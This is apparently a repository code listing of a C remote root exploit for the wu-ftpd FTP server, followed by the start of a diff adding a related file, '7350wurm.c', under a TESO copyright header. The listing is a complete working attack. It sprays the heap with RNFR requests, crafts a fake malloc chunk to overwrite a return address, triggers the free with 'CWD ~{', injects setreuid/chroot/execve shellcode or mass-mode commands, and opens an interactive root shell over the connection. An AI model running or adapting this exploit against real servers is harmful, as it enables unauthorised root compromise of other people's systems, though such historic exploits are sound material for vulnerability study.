| 470 | fprintf (stderr, "# overriding target retloc with: 0x%08lx\n", | ||
| 471 | user_retloc); | ||
| 472 | |||
| 473 | tgt->retloc = user_retloc; | ||
| 474 | } | ||
| 475 | |||
| 476 | printf ("\n### TARGET: %s\n\n", tgt->desc); | ||
| 477 | |||
| 478 | /* real stuff starts from here | ||
| 479 | */ | ||
| 480 | printf ("# 1. filling memory gaps\n"); | ||
| 481 | xp_gapfill (fd, RNFR_NUM, RNFR_SIZE); | ||
| 482 | |||
| 483 | |||
| 484 | printf ("# 2. sending bigbuf + fakechunk\n"); | ||
| 485 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 486 | if (verbose) | ||
| 487 | hexdump ("xpbuf", xpbuf, strlen (xpbuf)); | ||
| 488 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 489 | net_write (fd, "CWD %s\n", xpbuf); | ||
| 490 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 491 | |||
| 492 | |||
| 493 | /* synnergy.net uberleet method (thank you very much guys !) | ||
| 494 | */ | ||
| 495 | net_write (fd, "CWD ~/{.,.,.,.}\n"); | ||
| 496 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 497 | |||
| 498 | /* now, we flush the last-used-chunk marker in glibc malloc code. else | ||
| 499 | * we might land in a previously used bigger chunk, but we need a | ||
| 500 | * sequential order. "CWD ." will allocate a two byte chunk, which will | ||
| 501 | * be reused on any later small malloc. | ||
| 502 | */ | ||
| 503 | net_write (fd, "CWD .\n"); | ||
| 504 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 "); | ||
| 505 | |||
| 506 | /* cause chunk w/ 0x20 size */ | ||
| 507 | xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (0x20)); | ||
| 508 | |||
| 509 | { | ||
| 510 | unsigned long int dir_chunk_size, | ||
| 511 | bridge_dist, | ||
| 512 | padchunk_size, | ||
| 513 | fakechunk_size; | ||
| 514 | unsigned char * dl; /* dirlength */ | ||
| 515 | |||
| 516 | net_write (fd, "PWD\n"); | ||
| 517 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 "); | ||
| 518 | |||
| 519 | dl = strchr (xpbuf, '"'); | ||
| 520 | if (dl == NULL || strchr (dl + 1, '"') == NULL) { | ||
| 521 | fprintf (stderr, "faulty PWD reply: %s\n", xpbuf); | ||
| 522 | |||
| 523 | exit (EXIT_FAILURE); | ||
| 524 | } | ||
| 525 | |||
| 526 | dir_chunk_size = 0; | ||
| 527 | for (dl += 1 ; *dl != '"' ; ++dl) | ||
| 528 | dir_chunk_size += 1; | ||
| 529 | |||
| 530 | dir_chunk_size += 3; /* ~/ + NUL byte */ | ||
| 531 | dir_chunk_size = CHUNK_ROUND (dir_chunk_size); | ||
| 532 | printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size); | ||
| 533 | |||
| 534 | /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */ | ||
| 535 | bridge_dist = 0x10 + 4 * dir_chunk_size; | ||
| 536 | printf ("bridge_dist = 0x%08lx\n", bridge_dist); | ||
| 537 | |||
| 538 | /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */ | ||
| 539 | padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10; | ||
| 540 | // padchunk_size = bridge_dist - 0x10 - dir_chunk_size - 0x10; | ||
| 541 | printf ("padchunk_size = 0x%08lx\n", padchunk_size); | ||
| 542 | |||
| 543 | /* +4 = this_size field itself */ | ||
| 544 | fakechunk_size = CHUNK_POS - 0x1c + 4; | ||
| 545 | fakechunk_size |= 0x1; /* PREV_INUSE */ | ||
| 546 | |||
| 547 | printf ("fakechunk_size = 0x%08lx\n", fakechunk_size); | ||
| 548 | xp_buildsize (fd, fakechunk_size, dir_chunk_size); | ||
| 549 | |||
| 550 | /* pad down to the minimum possible size in 8 byte alignment | ||
| 551 | */ | ||
| 552 | printf ("\npadchunk_size = 0x%08lx\n==> %d\n", | ||
| 553 | padchunk_size, padchunk_size - 8 - 1); | ||
| 554 | xp_gapfill (fd, 1, padchunk_size - 8 - 1); | ||
| 555 | // xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (padchunk_size + 0x8)); | ||
| 556 | } | ||
| 557 | |||
| 558 | if (debugmode) { | ||
| 559 | printf ("press enter\n"); | ||
| 560 | getchar (); | ||
| 561 | } | ||
| 562 | |||
| 563 | printf ("# 3. triggering free(globlist[1])\n"); | ||
| 564 | net_write (fd, "CWD ~{\n"); | ||
| 565 | |||
| 566 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); | ||
| 567 | if (strncmp (xpbuf, "sP", 2) != 0) { | ||
| 568 | fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", | ||
| 569 | xpbuf); | ||
| 570 | |||
| 571 | exit (EXIT_FAILURE); | ||
| 572 | } | ||
| 573 | |||
| 574 | printf ("#\n# exploitation succeeded. sending real shellcode\n"); | ||
| 575 | |||
| 576 | if (mass == 1) { | ||
| 577 | printf ("# mass mode, sending constructed argv code\n"); | ||
| 578 | |||
| 579 | net_write (fd, "%s\n", mcode); | ||
| 580 | |||
| 581 | printf ("# send. sleeping 10 seconds\n"); | ||
| 582 | sleep (10); | ||
| 583 | |||
| 584 | printf ("# success.\n"); | ||
| 585 | |||
| 586 | exit (EXIT_SUCCESS); | ||
| 587 | } | ||
| 588 | |||
| 589 | printf ("# sending setreuid/chroot/execve shellcode\n"); | ||
| 590 | net_write (fd, "%s", x86_lnx_shell); | ||
| 591 | |||
| 592 | printf ("# spawning shell\n"); | ||
| 593 | printf ("##################################################" | ||
| 594 | "##########################\n"); | ||
| 595 | |||
| 596 | write (fd, INIT_CMD, strlen (INIT_CMD)); | ||
| 597 | shell (fd); | ||
| 598 | |||
| 599 | exit (EXIT_SUCCESS); | ||
| 600 | } | ||
| 601 | |||
| 602 | |||
| 603 | tgt_type * | ||
| 604 | tgt_frombanner (unsigned char *banner) | ||
| 605 | { | ||
| 606 | int tw; /* target list walker */ | ||
| 607 | |||
| 608 | |||
| 609 | for (tw = 0 ; targets[tw].desc != NULL ; ++tw) { | ||
| 610 | if (strstr (banner, targets[tw].banner) != NULL) | ||
| 611 | return (&targets[tw]); | ||
| 612 | } | ||
| 613 | |||
| 614 | return (NULL); | ||
| 615 | } | ||
| 616 | |||
| 617 | |||
| 618 | /* xp_buildsize | ||
| 619 | * | ||
| 620 | * set chunksize to this_size_ls. do this in a csize bytes long chunk. | ||
| 621 | * normally csize = 0x10. csize is always a padded chunksize. | ||
| 622 | */ | ||
| 623 | |||
| 624 | void | ||
| 625 | xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize) | ||
| 626 | { | ||
| 627 | int n, | ||
| 628 | cw, /* chunk walker */ | ||
| 629 | bw; /* back walker */ | ||
| 630 | unsigned char tmpbuf[512]; | ||
| 631 | unsigned char * leet = "7350"; | ||
| 632 | |||
| 633 | |||
| 634 | for (n = 2 ; n > 0 ; --n) { | ||
| 635 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 636 | |||
| 637 | for (cw = 0 ; cw < (csize - 0x08) ; ++cw) | ||
| 638 | tmpbuf[cw] = leet[cw % 4]; | ||
| 639 | |||
| 640 | tmpbuf[cw - 4 + n] = '\0'; | ||
| 641 | printf (": CWD %s\n", tmpbuf); | ||
| 642 | net_write (fd, "CWD %s\n", tmpbuf); | ||
| 643 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 644 | } | ||
| 645 | |||
| 646 | memset (tmpbuf, '\0', sizeof (tmpbuf)); | ||
| 647 | for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw) | ||
| 648 | tmpbuf[cw] = leet[cw % 4]; | ||
| 649 | |||
| 650 | printf ("| CWD %s\n", tmpbuf); | ||
| 651 | net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls); | ||
| 652 | ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 "); | ||
| 653 | |||
| 654 | /* send a minimum-sized malloc request that will allocate a chunk | ||
| 655 | * with 'csize' overall bytes | ||
| 656 | */ | ||
| 657 | xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize)); | ||
| 658 | |||
| 659 | |||
| 660 | return; | ||
| 661 | } | ||
| 662 | |||
| 663 | |||
| 664 | /* xp_gapfill | ||
| 665 | * | ||
| 666 | * fill all small memory gaps in wuftpd malloc space. do this by sending | ||
| 667 | * rnfr requests which cause a memleak in wuftpd. | ||
| 668 | * | ||
| 669 | * return in any case | ||
| 670 | */ | ||
| 671 | |||
| 672 | void | ||
| 673 | xp_gapfill (int fd, int rnfr_num, int rnfr_size) | ||
| 674 | { | ||
| 675 | int n; | ||
| 676 | unsigned char * rb; /* rnfr buffer */ | ||
| 677 | unsigned char * rbw; /* rnfr buffer walker */ | ||
| 678 | unsigned char rcv_buf[512]; /* temporary receive buffer */ | ||
| 679 | |||
| 680 | |||
| 681 | rbw = rb = calloc (1, rnfr_size + 6); | ||
| 682 | strcpy (rbw, "RNFR "); | ||
| 683 | rbw += strlen (rbw); | ||
| 684 | |||
| 685 | /* append a string of "././././". since wuftpd only checks whether | ||
| 686 | * the pathname is lstat'able, it will go through without any problems | ||
| 687 | */ | ||
| 688 | for (n = 0 ; n < rnfr_size ; ++n) | ||
| 689 | strcat (rbw, ((n % 2) == 0) ? "." : "/"); | ||
| 690 | strcat (rbw, "\n"); | ||
| 691 | |||
| 692 | for (n = 0 ; n < rnfr_num; ++n) { | ||
| 693 | net_write (fd, "%s", rb); | ||
| 694 | ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); | ||
| 695 | } | ||
| 696 | free (rb); | ||
| 697 | |||
| 698 | return; | ||
| 699 | } | ||
| 700 | |||
| 701 | |||
| 702 | #define ADDR_STORE(ptr,addr){\ | ||
| 703 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 704 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 705 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 706 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 707 | } | ||
| 708 | |||
| 709 | |||
| 710 | int | ||
| 711 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 712 | { | ||
| 713 | unsigned char * wl; | ||
| 714 | |||
| 715 | |||
| 716 | memset (buf, '\0', buf_len); | ||
| 717 | |||
| 718 | memset (buf, '0', CHUNK_POS); | ||
| 719 | xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1); | ||
| 720 | |||
| 721 | for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) { | ||
| 722 | wl[0] = '\xeb'; | ||
| 723 | wl[1] = '\x0c'; | ||
| 724 | } | ||
| 725 | |||
| 726 | memcpy (&buf[buf_len - 1] - tgt->shellcode_len, tgt->shellcode, | ||
| 727 | tgt->shellcode_len); | ||
| 728 | |||
| 729 | |||
| 730 | return (strlen (buf)); | ||
| 731 | } | ||
| 732 | |||
| 733 | |||
| 734 | /* xp_buildchunk | ||
| 735 | * | ||
| 736 | * build the fake malloc chunk that will overwrite retloc with retaddr | ||
| 737 | */ | ||
| 738 | |||
| 739 | void | ||
| 740 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 741 | { | ||
| 742 | fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 743 | tgt->retloc, tgt->retaddr, clen); | ||
| 744 | |||
| 745 | /* easy, straight forward technique | ||
| 746 | */ | ||
| 747 | ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ | ||
| 748 | ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */ | ||
| 749 | ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ | ||
| 750 | ADDR_STORE (&cspace[12], tgt->retaddr); /* bk */ | ||
| 751 | |||
| 752 | return; | ||
| 753 | } | ||
| 754 | |||
| 755 | |||
| 756 | |||
| 757 | void | ||
| 758 | shell (int sock) | ||
| 759 | { | ||
| 760 | int l; | ||
| 761 | char buf[512]; | ||
| 762 | fd_set rfds; | ||
| 763 | |||
| 764 | |||
| 765 | while (1) { | ||
| 766 | FD_SET (0, &rfds); | ||
| 767 | FD_SET (sock, &rfds); | ||
| 768 | |||
| 769 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 770 | if (FD_ISSET (0, &rfds)) { | ||
| 771 | l = read (0, buf, sizeof (buf)); | ||
| 772 | if (l <= 0) { | ||
| 773 | perror ("read user"); | ||
| 774 | exit (EXIT_FAILURE); | ||
| 775 | } | ||
| 776 | write (sock, buf, l); | ||
| 777 | } | ||
| 778 | |||
| 779 | if (FD_ISSET (sock, &rfds)) { | ||
| 780 | l = read (sock, buf, sizeof (buf)); | ||
| 781 | if (l == 0) { | ||
| 782 | printf ("connection closed by foreign host.\n"); | ||
| 783 | exit (EXIT_FAILURE); | ||
| 784 | } else if (l < 0) { | ||
| 785 | perror ("read remote"); | ||
| 786 | exit (EXIT_FAILURE); | ||
| 787 | } | ||
| 788 | write (1, buf, l); | ||
| 789 | } | ||
| 790 | } | ||
| 791 | } | ||
| 792 | |||
| 793 | |||
| 794 | /*** FTP functions | ||
| 795 | */ | ||
| 796 | |||
| 797 | /* FTP is TELNET is SHIT. | ||
| 798 | */ | ||
| 799 | |||
| 800 | void | ||
| 801 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 802 | { | ||
| 803 | unsigned char * obuf = buf; | ||
| 804 | |||
| 805 | |||
| 806 | for ( ; *buf != '\0' ; ++buf) { | ||
| 807 | if (*buf == 0xff && | ||
| 808 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 809 | { | ||
| 810 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 811 | buf += 1; | ||
| 812 | } | ||
| 813 | } | ||
| 814 | } | ||
| 815 | |||
| 816 | |||
| 817 | void | ||
| 818 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 819 | { | ||
| 820 | char dbuff[2048]; | ||
| 821 | |||
| 822 | |||
| 823 | if (buff == NULL) { | ||
| 824 | buff = dbuff; | ||
| 825 | len = sizeof (dbuff); | ||
| 826 | } | ||
| 827 | |||
| 828 | do { | ||
| 829 | memset (buff, '\x00', len); | ||
| 830 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 831 | return; | ||
| 832 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 833 | |||
| 834 | return; | ||
| 835 | } | ||
| 836 | |||
| 837 | |||
| 838 | int | ||
| 839 | ftp_login (char *host, char *user, char *pass) | ||
| 840 | { | ||
| 841 | int ftpsock; | ||
| 842 | char resp[512]; | ||
| 843 | |||
| 844 | |||
| 845 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 846 | if (ftpsock <= 0) | ||
| 847 | return (0); | ||
| 848 | |||
| 849 | memset (resp, '\x00', sizeof (resp)); | ||
| 850 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 851 | goto flerr; | ||
| 852 | |||
| 853 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 854 | */ | ||
| 855 | if (memcmp (resp, "220-", 4) == 0) | ||
| 856 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 857 | |||
| 858 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 859 | if (verbose) | ||
| 860 | printf ("\n%s\n", resp); | ||
| 861 | goto flerr; | ||
| 862 | } | ||
| 863 | ftp_banner = strdup (resp); | ||
| 864 | |||
| 865 | net_write (ftpsock, "USER %s\n", user); | ||
| 866 | memset (resp, '\x00', sizeof (resp)); | ||
| 867 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 868 | goto flerr; | ||
| 869 | |||
| 870 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 871 | if (verbose) | ||
| 872 | printf ("\n%s\n", resp); | ||
| 873 | goto flerr; | ||
| 874 | } | ||
| 875 | |||
| 876 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 877 | memset (resp, '\x00', sizeof (resp)); | ||
| 878 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 879 | goto flerr; | ||
| 880 | |||
| 881 | |||
| 882 | /* handle multiline responses from ftp servers | ||
| 883 | */ | ||
| 884 | if (memcmp (resp, "230-", 4) == 0) | ||
| 885 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 886 | |||
| 887 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 888 | if (verbose) | ||
| 889 | printf ("\n%s\n", resp); | ||
| 890 | goto flerr; | ||
| 891 | } | ||
| 892 | |||
| 893 | return (ftpsock); | ||
| 894 | |||
| 895 | flerr: | ||
| 896 | if (ftpsock > 0) | ||
| 897 | close (ftpsock); | ||
| 898 | |||
| 899 | return (0); | ||
| 900 | } | ||
| 901 | |||
| 902 | |||
| 903 | /* ripped from zodiac */ | ||
| 904 | void | ||
| 905 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 906 | { | ||
| 907 | unsigned int dp, p; /* data pointer */ | ||
| 908 | const char trans[] = | ||
| 909 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 910 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 911 | "nopqrstuvwxyz{|}~...................................." | ||
| 912 | "....................................................." | ||
| 913 | "........................................"; | ||
| 914 | |||
| 915 | |||
| 916 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 917 | |||
| 918 | for (dp = 1; dp <= amount; dp++) { | ||
| 919 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 920 | if ((dp % 8) == 0) | ||
| 921 | fprintf (stderr, " "); | ||
| 922 | if ((dp % 16) == 0) { | ||
| 923 | fprintf (stderr, "| "); | ||
| 924 | p = dp; | ||
| 925 | for (dp -= 16; dp < p; dp++) | ||
| 926 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 927 | fflush (stderr); | ||
| 928 | fprintf (stderr, "\n"); | ||
| 929 | } | ||
| 930 | fflush (stderr); | ||
| 931 | } | ||
| 932 | if ((amount % 16) != 0) { | ||
| 933 | p = dp = 16 - (amount % 16); | ||
| 934 | for (dp = p; dp > 0; dp--) { | ||
| 935 | fprintf (stderr, " "); | ||
| 936 | if (((dp % 8) == 0) && (p != 8)) | ||
| 937 | fprintf (stderr, " "); | ||
| 938 | fflush (stderr); | ||
| 939 | } | ||
| 940 | fprintf (stderr, " | "); | ||
| 941 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 942 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 943 | fflush (stderr); | ||
| 944 | } | ||
| 945 | fprintf (stderr, "\n"); | ||
| 946 | |||
| 947 | return; | ||
| 948 | } | ||
| 949 | |||
| 950 | |||
| 951 | |||
| 952 | unsigned long int | ||
| 953 | net_resolve (char *host) | ||
| 954 | { | ||
| 955 | long i; | ||
| 956 | struct hostent *he; | ||
| 957 | |||
| 958 | i = inet_addr(host); | ||
| 959 | if (i == -1) { | ||
| 960 | he = gethostbyname(host); | ||
| 961 | if (he == NULL) { | ||
| 962 | return (0); | ||
| 963 | } else { | ||
| 964 | return (*(unsigned long *) he->h_addr); | ||
| 965 | } | ||
| 966 | } | ||
| 967 | return (i); | ||
| 968 | } | ||
| 969 | |||
| 970 | |||
| 971 | int | ||
| 972 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 973 | unsigned short int port, int sec) | ||
| 974 | { | ||
| 975 | int n, | ||
| 976 | len, | ||
| 977 | error, | ||
| 978 | flags; | ||
| 979 | int fd; | ||
| 980 | struct timeval tv; | ||
| 981 | fd_set rset, wset; | ||
| 982 | struct sockaddr_in csa; | ||
| 983 | |||
| 984 | if (cs == NULL) | ||
| 985 | cs = &csa; | ||
| 986 | |||
| 987 | /* first allocate a socket */ | ||
| 988 | cs->sin_family = AF_INET; | ||
| 989 | cs->sin_port = htons (port); | ||
| 990 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 991 | if (fd == -1) | ||
| 992 | return (-1); | ||
| 993 | |||
| 994 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 995 | close (fd); | ||
| 996 | return (-1); | ||
| 997 | } | ||
| 998 | |||
| 999 | flags = fcntl (fd, F_GETFL, 0); | ||
| 1000 | if (flags == -1) { | ||
| 1001 | close (fd); | ||
| 1002 | return (-1); | ||
| 1003 | } | ||
| 1004 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1005 | if (n == -1) { | ||
| 1006 | close (fd); | ||
| 1007 | return (-1); | ||
| 1008 | } | ||
| 1009 | |||
| 1010 | error = 0; | ||
| 1011 | |||
| 1012 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 1013 | if (n < 0) { | ||
| 1014 | if (errno != EINPROGRESS) { | ||
| 1015 | close (fd); | ||
| 1016 | return (-1); | ||
| 1017 | } | ||
| 1018 | } | ||
| 1019 | if (n == 0) | ||
| 1020 | goto done; | ||
| 1021 | |||
| 1022 | FD_ZERO(&rset); | ||
| 1023 | FD_ZERO(&wset); | ||
| 1024 | FD_SET(fd, &rset); | ||
| 1025 | FD_SET(fd, &wset); | ||
| 1026 | tv.tv_sec = sec; | ||
| 1027 | tv.tv_usec = 0; | ||
| 1028 | |||
| 1029 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 1030 | if (n == 0) { | ||
| 1031 | close(fd); | ||
| 1032 | errno = ETIMEDOUT; | ||
| 1033 | return (-1); | ||
| 1034 | } | ||
| 1035 | if (n == -1) | ||
| 1036 | return (-1); | ||
| 1037 | |||
| 1038 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 1039 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 1040 | len = sizeof(error); | ||
| 1041 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 1042 | errno = ETIMEDOUT; | ||
| 1043 | return (-1); | ||
| 1044 | } | ||
| 1045 | if (error == 0) { | ||
| 1046 | goto done; | ||
| 1047 | } else { | ||
| 1048 | errno = error; | ||
| 1049 | return (-1); | ||
| 1050 | } | ||
| 1051 | } | ||
| 1052 | } else | ||
| 1053 | return (-1); | ||
| 1054 | |||
| 1055 | done: | ||
| 1056 | n = fcntl(fd, F_SETFL, flags); | ||
| 1057 | if (n == -1) | ||
| 1058 | return (-1); | ||
| 1059 | return (fd); | ||
| 1060 | } | ||
| 1061 | |||
| 1062 | |||
| 1063 | void | ||
| 1064 | net_write (int fd, const char *str, ...) | ||
| 1065 | { | ||
| 1066 | char tmp[1025]; | ||
| 1067 | va_list vl; | ||
| 1068 | int i; | ||
| 1069 | |||
| 1070 | va_start(vl, str); | ||
| 1071 | memset(tmp, 0, sizeof(tmp)); | ||
| 1072 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 1073 | va_end(vl); | ||
| 1074 | |||
| 1075 | #ifdef DEBUG | ||
| 1076 | printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); | ||
| 1077 | #endif | ||
| 1078 | |||
| 1079 | send(fd, tmp, i, 0); | ||
| 1080 | return; | ||
| 1081 | } | ||
| 1082 | |||
| 1083 | |||
| 1084 | int | ||
| 1085 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 1086 | { | ||
| 1087 | int n; | ||
| 1088 | unsigned long int rb = 0; | ||
| 1089 | struct timeval tv_start, tv_cur; | ||
| 1090 | |||
| 1091 | memset(buf, '\0', bufsize); | ||
| 1092 | (void) gettimeofday(&tv_start, NULL); | ||
| 1093 | |||
| 1094 | do { | ||
| 1095 | (void) gettimeofday(&tv_cur, NULL); | ||
| 1096 | if (sec > 0) { | ||
| 1097 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 1098 | ((tv_start.tv_sec * 1000000) + | ||
| 1099 | (tv_start.tv_usec))) > (sec * 1000000)) | ||
| 1100 | { | ||
| 1101 | return (-1); | ||
| 1102 | } | ||
| 1103 | } | ||
| 1104 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 1105 | if (n <= 0) { | ||
| 1106 | return (-1); | ||
| 1107 | } | ||
| 1108 | n = read(fd, buf, 1); | ||
| 1109 | if (n <= 0) { | ||
| 1110 | return (n); | ||
| 1111 | } | ||
| 1112 | rb++; | ||
| 1113 | if (*buf == '\n') | ||
| 1114 | return (rb); | ||
| 1115 | buf++; | ||
| 1116 | if (rb >= bufsize) | ||
| 1117 | return (-2); /* buffer full */ | ||
| 1118 | } while (1); | ||
| 1119 | } | ||
| 1120 | |||
| 1121 | |||
| 1122 | int | ||
| 1123 | net_rtimeout (int fd, int sec) | ||
| 1124 | { | ||
| 1125 | fd_set rset; | ||
| 1126 | struct timeval tv; | ||
| 1127 | int n, error, flags; | ||
| 1128 | |||
| 1129 | |||
| 1130 | error = 0; | ||
| 1131 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1132 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1133 | if (n == -1) | ||
| 1134 | return (-1); | ||
| 1135 | |||
| 1136 | FD_ZERO(&rset); | ||
| 1137 | FD_SET(fd, &rset); | ||
| 1138 | tv.tv_sec = sec; | ||
| 1139 | tv.tv_usec = 0; | ||
| 1140 | |||
| 1141 | /* now we wait until more data is received then the tcp low level | ||
| 1142 | * watermark, which should be setted to 1 in this case (1 is default) | ||
| 1143 | */ | ||
| 1144 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 1145 | if (n == 0) { | ||
| 1146 | n = fcntl(fd, F_SETFL, flags); | ||
| 1147 | if (n == -1) | ||
| 1148 | return (-1); | ||
| 1149 | errno = ETIMEDOUT; | ||
| 1150 | return (-1); | ||
| 1151 | } | ||
| 1152 | if (n == -1) { | ||
| 1153 | return (-1); | ||
| 1154 | } | ||
| 1155 | /* socket readable ? */ | ||
| 1156 | if (FD_ISSET(fd, &rset)) { | ||
| 1157 | n = fcntl(fd, F_SETFL, flags); | ||
| 1158 | if (n == -1) | ||
| 1159 | return (-1); | ||
| 1160 | return (1); | ||
| 1161 | } else { | ||
| 1162 | n = fcntl(fd, F_SETFL, flags); | ||
| 1163 | if (n == -1) | ||
| 1164 | return (-1); | ||
| 1165 | errno = ETIMEDOUT; | ||
| 1166 | return (-1); | ||
| 1167 | } | ||
| 1168 | } | ||
| 1169 | |||
| 1170 | |||
| 1171 | static int | ||
| 1172 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 1173 | unsigned char *shellcode, char **argv) | ||
| 1174 | { | ||
| 1175 | int i; | ||
| 1176 | size_t tl_orig = target_len; | ||
| 1177 | |||
| 1178 | |||
| 1179 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 1180 | return (-1); | ||
| 1181 | |||
| 1182 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 1183 | target += strlen (shellcode); | ||
| 1184 | target_len -= strlen (shellcode); | ||
| 1185 | |||
| 1186 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 1187 | ; | ||
| 1188 | |||
| 1189 | /* set argument count | ||
| 1190 | */ | ||
| 1191 | target[0] = (unsigned char) i; | ||
| 1192 | target++; | ||
| 1193 | target_len--; | ||
| 1194 | |||
| 1195 | for ( ; i > 0 ; ) { | ||
| 1196 | i -= 1; | ||
| 1197 | |||
| 1198 | if (strlen (argv[i]) >= target_len) | ||
| 1199 | return (-1); | ||
| 1200 | |||
| 1201 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 1202 | (tl_orig - target_len), tl_orig, | ||
| 1203 | strlen (argv[i]), argv[i]); | ||
| 1204 | |||
| 1205 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 1206 | target += strlen (argv[i]); | ||
| 1207 | target_len -= strlen (argv[i]); | ||
| 1208 | |||
| 1209 | target[0] = (unsigned char) (i + 1); | ||
| 1210 | target++; | ||
| 1211 | target_len -= 1; | ||
| 1212 | } | ||
| 1213 | |||
| 1214 | return (tl_orig - target_len); | ||
| 1215 | } | ||
| 1216 | |||
| 1217 | |||
diff --git a/exploits/7350wurm/7350wurm.c b/exploits/7350wurm/7350wurm.c new file mode 100644 index 0000000..c258dbb --- /dev/null +++ b/exploits/7350wurm/7350wurm.c | |||
| @@ -0,0 +1,1428 @@ | |||
| 1 | /* 7350wurm - x86/linux wu-ftpd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
